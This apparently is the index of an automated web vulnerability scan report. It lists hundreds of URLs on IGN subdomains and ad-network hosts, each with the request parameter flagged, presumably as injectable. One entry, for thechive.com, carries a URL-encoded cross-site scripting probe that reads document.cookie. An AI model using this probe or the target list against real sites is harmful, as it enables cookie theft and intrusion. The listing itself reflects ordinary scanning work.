http://club.ign.com/b/api/objects/user.js [callback parameter]
http://comics.ign.com/ [name of an arbitrarily supplied request parameter]
http://comics.ign.com/ [name of an arbitrarily supplied request parameter]
http://comics.ign.com/articles/113/1136508p1.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/articles/113/1136508p1.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/characters.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/characters.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/comicseries.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/comicseries.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/toys.html [name of an arbitrarily supplied request parameter]
http://comics.ign.com/index/toys.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/about/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/about/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/careers/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/careers/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/contact/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/contact/ [name of an arbitrarily supplied request parameter]
http://corp.ign.com/feeds.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/feeds.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/privacy.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/privacy.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/properties/ign.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/properties/ign.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/user-agreement.html [name of an arbitrarily supplied request parameter]
http://corp.ign.com/user-agreement.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/ [name of an arbitrarily supplied request parameter]
http://ds.ign.com/ [name of an arbitrarily supplied request parameter]
http://ds.ign.com/articles/114/1144790p1.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/articles/114/1144790p1.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/articles/114/1147000p1.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/articles/114/1147000p1.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/latest-updates.html [types parameter]
http://ds.ign.com/index/latest-updates.html [types parameter]
http://ds.ign.com/index/latest-updates.html [types parameter]
http://ds.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/objects/059/059687.html [name of an arbitrarily supplied request parameter]
http://ds.ign.com/objects/059/059687.html [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/ [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/ [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://dvd.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://event.adxpose.com/event.flow [uid parameter]
http://faqs.ign.com/ [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/ [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/ftp.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/ftp.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/000/000437.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/000/000437.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/143/14349501.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/143/14349501.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/143/14354229.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/143/14354229.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/748/748589.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/748/748589.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/857/857126.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/objects/857/857126.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/submit_faq.html [name of an arbitrarily supplied request parameter]
http://faqs.ign.com/submit_faq.html [name of an arbitrarily supplied request parameter]
http://fimserve.ign.com/ [__ipculture parameter]
http://fimserve.ign.com/ [__preferredculture parameter]
http://fimserve.ign.com/ [name of an arbitrarily supplied request parameter]
http://fonts.ignimgs.com/k/wns6kpl-e.css [REST URL parameter 1]
http://fonts.ignimgs.com/k/wns6kpl-e.css [REST URL parameter 2]
http://fonts.ignimgs.com/wns6kpl.js [REST URL parameter 1]
http://games.ign.com/articles/114/1146317p1.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/articles/114/1146317p1.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/articles/114/1147934c.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/articles/114/1147934c.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/articles/114/1147934p1.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/articles/114/1147934p1.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/ratings.html [name of an arbitrarily supplied request parameter]
http://games.ign.com/ratings.html [name of an arbitrarily supplied request parameter]
http://gear.ign.com/ [name of an arbitrarily supplied request parameter]
http://gear.ign.com/ [name of an arbitrarily supplied request parameter]
http://gear.ign.com/articles/114/1147945p1.html [name of an arbitrarily supplied request parameter]
http://gear.ign.com/articles/114/1147945p1.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14235018/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14235018/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14293266/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14293266/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14341976/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14341976/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14349501/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14349501/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14354229/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/14354229/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/57512/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/guides/57512/ [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/nintendo-ds-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/nintendo-ds-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/pc-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/pc-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/playstation-3-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/playstation-3-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/playstation-portable-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/playstation-portable-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/wii-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/wii-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/xbox-360-guides/index.html [name of an arbitrarily supplied request parameter]
http://guides.ign.com/index/xbox-360-guides/index.html [name of an arbitrarily supplied request parameter]
http://ib.adnxs.com/ab [cnd parameter]
http://ib.adnxs.com/ab [referrer parameter]
http://ie.ign.com/ [name of an arbitrarily supplied request parameter]
http://ie.ign.com/ [name of an arbitrarily supplied request parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpck parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpck parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpvc parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_300x250_Q1_2011.html [mpvc parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpck parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpck parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpvc parameter]
http://img.mediaplex.com/content/0/17339/119294/PCMag_PCMag_728x90_Q1_2011.html [mpvc parameter]
http://insider.ign.com/ [name of an arbitrarily supplied request parameter]
http://insider.ign.com/ [name of an arbitrarily supplied request parameter]
http://intensedebate.com/js/getCommentCounts.php [REST URL parameter 2]
http://intensedebate.com/js/wordpressTemplateLinkWrapper2.php [REST URL parameter 2]
http://intensedebate.com/remoteVisit.php [REST URL parameter 1]
http://js.revsci.net/gateway/gw.js [csid parameter]
http://landlanss.gfi.com/freeware-network-security-scanner-sm/ [REST URL parameter 1]
http://media.ds.ign.com/media/059/059687/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.ds.ign.com/media/059/059687/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.ps3.ign.com/media/143/14324403/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.ps3.ign.com/media/143/14324403/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/064/064330/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/064/064330/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/070/070921/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/070/070921/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/080/080342/imgs_1.html [name of an arbitrarily supplied request parameter]
http://media.xbox360.ign.com/media/080/080342/imgs_1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/ [name of an arbitrarily supplied request parameter]
http://movies.ign.com/ [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1141199p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1141199p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1142532p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1142532p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1145692p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1145692p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1146818p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1146818p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1146819p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1146819p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1147900p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1147900p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1147929p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1147929p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148092c.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148092c.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148092p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148092p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148108p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148108p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148114p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148114p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148115p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/articles/114/1148115p1.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/gamestofilm.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/gamestofilm.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/movies.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/movies.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/trailers.html [name of an arbitrarily supplied request parameter]
http://movies.ign.com/trailers.html [name of an arbitrarily supplied request parameter]
http://music.ign.com/ [name of an arbitrarily supplied request parameter]
http://music.ign.com/ [name of an arbitrarily supplied request parameter]
http://pc.ign.com/ [name of an arbitrarily supplied request parameter]
http://pc.ign.com/ [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/111/1119875p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/111/1119875p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/113/1137541p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/113/1137541p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1145020p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1145020p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1145332p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1145332p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1146760p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1146760p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147797p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147797p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147953p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147953p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147988p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/articles/114/1147988p1.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/latest-updates.html [types parameter]
http://pc.ign.com/index/latest-updates.html [types parameter]
http://pc.ign.com/index/latest-updates.html [types parameter]
http://pc.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/objects/001/001317.html [name of an arbitrarily supplied request parameter]
http://pc.ign.com/objects/001/001317.html [name of an arbitrarily supplied request parameter]
http://ps2.ign.com/ [name of an arbitrarily supplied request parameter]
http://ps2.ign.com/ [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/ [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/ [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1144303p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1144303p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1145224p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1145224p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1146078p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1146078p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147560p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147560p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147862c.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147862c.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147862p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/articles/114/1147862p1.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/latest-updates.html [types parameter]
http://ps3.ign.com/index/latest-updates.html [types parameter]
http://ps3.ign.com/index/latest-updates.html [types parameter]
http://ps3.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-games.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-games.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-reviews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-reviews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-upcoming.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/psn-upcoming.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/142/14235018.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/142/14235018.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/143/14324403.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/143/14324403.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/143/14336698.html [name of an arbitrarily supplied request parameter]
http://ps3.ign.com/objects/143/14336698.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/ [name of an arbitrarily supplied request parameter]
http://psp.ign.com/ [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/latest-updates.html [types parameter]
http://psp.ign.com/index/latest-updates.html [types parameter]
http://psp.ign.com/index/latest-updates.html [types parameter]
http://psp.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/objects/027/027595.html [name of an arbitrarily supplied request parameter]
http://psp.ign.com/objects/027/027595.html [name of an arbitrarily supplied request parameter]
http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]
http://r.turn.com/server/pixel.htm [fpid parameter]
http://r.turn.com/server/pixel.htm [sp parameter]
http://retro.ign.com/ [name of an arbitrarily supplied request parameter]
http://retro.ign.com/ [name of an arbitrarily supplied request parameter]
http://s50.sitemeter.com/js/counter.asp [site parameter]
http://s50.sitemeter.com/js/counter.js [site parameter]
http://showads.pubmatic.com/AdServer/AdServerServlet [frameName parameter]
http://showads.pubmatic.com/AdServer/AdServerServlet [pageURL parameter]
http://showads.pubmatic.com/AdServer/AdServerServlet [ranreq parameter]
http://social-services.ign.com/v1.0/social/rest/people/fedreg.45401530/@self [jsonp parameter]
http://social-services.ign.com/v1.0/social/rest/people/fedreg.47607874/@self [jsonp parameter]
http://social-services.ign.com/v1.0/social/rest/people/fedreg.58575107/@self [jsonp parameter]
http://social-services.ign.com/v1.0/social/rest/people/fedreg.89761569/@self [jsonp parameter]
http://social-services.ign.com/v1.0/social/rest/people/nickname.GrumpyBalloon/@self [jsonp parameter]
http://sports.ign.com/ [name of an arbitrarily supplied request parameter]
http://sports.ign.com/ [name of an arbitrarily supplied request parameter]
http://stars.ign.com/ [name of an arbitrarily supplied request parameter]
http://stars.ign.com/ [name of an arbitrarily supplied request parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [REST URL parameter 4]
http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [callback parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [container parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [callback parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [container parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [callback parameter]
http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [container parameter]
http://thechive.com/ [ign10 parameter]
http://thechive.com/ [ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4 parameter]
http://thechive.com/ [name of an arbitrarily supplied request parameter]
http://tv.ign.com/ [name of an arbitrarily supplied request parameter]
http://tv.ign.com/ [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148024p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148024p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148084c.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148084c.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148084p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148084p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148116c.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148116c.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148116p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/articles/114/1148116p1.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/series.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/series.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/listings.html [name of an arbitrarily supplied request parameter]
http://tv.ign.com/listings.html [name of an arbitrarily supplied request parameter]
http://uk.ign.com/ [name of an arbitrarily supplied request parameter]
http://uk.ign.com/ [name of an arbitrarily supplied request parameter]
http://um.simpli.fi/am_js.js [admeld_adprovider_id parameter]
http://um.simpli.fi/am_js.js [admeld_callback parameter]
http://um.simpli.fi/am_match [admeld_adprovider_id parameter]
http://um.simpli.fi/am_match [admeld_callback parameter]
http://um.simpli.fi/am_redirect_js [admeld_adprovider_id parameter]
http://um.simpli.fi/am_redirect_js [admeld_callback parameter]
http://video.ign.com/uservideos.html [name of an arbitrarily supplied request parameter]
http://video.ign.com/uservideos.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/ [name of an arbitrarily supplied request parameter]
http://wii.ign.com/ [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/113/1135489p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/113/1135489p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1147411c.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1147411c.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1147411p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1147411p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1148074c.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1148074c.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1148074p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/articles/114/1148074p1.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
